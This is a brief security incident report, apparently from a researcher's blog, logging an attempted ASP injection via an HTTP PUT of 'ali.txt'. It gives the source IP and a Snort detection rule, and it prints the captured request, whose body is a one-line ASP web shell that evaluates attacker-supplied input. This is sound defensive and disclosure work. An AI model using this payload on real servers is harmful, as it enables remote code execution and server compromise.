ASP Injection Attempt ali.txt

ASP Injection Attempt ali.txt
Reported by neonprimetime security
http://neonprimetime.blogspot.com

*****

192.210.60.124

*****
blog about this http://neonprimetime.blogspot.com/2015/03/php-injection-attempt-alitxt-explained.html
*****

MALWARE-TOOLS BlackSpider Tool ali.txt file upload attempt (1:32875)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"MALWARE-TOOLS BlackSpider Tool ali.txt file upload attempt"; flow:to_server,established; content:"/ali.txt"; http_uri; urilen:8; content:"PUT"; http_method; metadata:impact_flag red, service http; reference:url,virustotal.com/en/file/3b0e2ab93a43db122bc9ba4448cb21c8ae01f18068b15a6e0a71db61fb943ed1/analysis/; classtype:misc-activity; sid:32875; rev:1; )


*****

PUT /ali.txt HTTP/1.1
Accept: application/json
Content-Type: application/json
Content-Length: 39
Expect: 100-continue
Connection: Keep-Alive

alihack<%eval request("alihack.com")%>